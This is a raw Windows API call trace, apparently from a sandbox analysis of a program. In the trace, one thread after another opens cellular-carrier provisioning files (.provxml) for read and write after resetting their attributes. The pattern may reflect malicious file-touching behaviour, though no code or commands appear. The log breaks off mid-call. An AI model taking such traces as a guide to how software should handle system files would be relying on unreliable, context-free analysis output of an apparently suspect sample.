GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.131] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.131] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.131] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a560) returned 1 [0182.131] RtlExitUserThread (Status=0x0) Thread: id = 3195 os_tid = 0x1204 [0182.132] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.133] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.133] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\591__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.133] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.133] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b898) returned 1 [0182.133] RtlExitUserThread (Status=0x0) Thread: id = 3196 os_tid = 0x1210 [0182.134] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.134] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.134] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.134] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.134] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a7f0) returned 1 [0182.135] RtlExitUserThread (Status=0x0) Thread: id = 3197 os_tid = 0x1294 [0182.136] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.136] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\593__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.136] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ad10) returned 1 [0182.136] RtlExitUserThread (Status=0x0) Thread: id = 3198 os_tid = 0x12b4 [0182.137] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.137] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.138] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\594__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.138] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a188) returned 1 [0182.138] RtlExitUserThread (Status=0x0) Thread: id = 3199 os_tid = 0x12b8 [0182.139] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.139] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.139] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.139] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.139] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99c68) returned 1 [0182.139] RtlExitUserThread (Status=0x0) Thread: id = 3200 os_tid = 0x12c0 [0182.140] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.141] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.141] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\596__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.141] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99db0) returned 1 [0182.142] RtlExitUserThread (Status=0x0) Thread: id = 3201 os_tid = 0x12c8 [0182.143] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.143] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.143] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\597__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.143] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a418) returned 1 [0182.143] RtlExitUserThread (Status=0x0) Thread: id = 3202 os_tid = 0x12ec [0182.144] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.144] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.145] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.145] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.145] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01b68) returned 1 [0182.145] RtlExitUserThread (Status=0x0) Thread: id = 3203 os_tid = 0x101c [0182.146] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.146] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.146] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.146] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01cb0) returned 1 [0182.146] RtlExitUserThread (Status=0x0) Thread: id = 3204 os_tid = 0x1218 [0182.147] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.148] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.148] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.148] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cfe8) returned 1 [0182.148] RtlExitUserThread (Status=0x0) Thread: id = 3205 os_tid = 0xd10 [0182.149] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.149] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.149] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.150] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.150] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0e08) returned 1 [0182.150] RtlExitUserThread (Status=0x0) Thread: id = 3206 os_tid = 0x694 [0182.151] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.151] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.151] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.151] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01790) returned 1 [0182.151] RtlExitUserThread (Status=0x0) Thread: id = 3207 os_tid = 0x6bc [0182.152] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.153] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.153] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.153] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.153] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f033c0) returned 1 [0182.153] RtlExitUserThread (Status=0x0) Thread: id = 3208 os_tid = 0x740 [0182.154] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 0x20 [0182.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.155] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.155] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f018d8) returned 1 [0182.155] RtlExitUserThread (Status=0x0) Thread: id = 3209 os_tid = 0x79c [0182.156] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 0x20 [0182.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.157] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 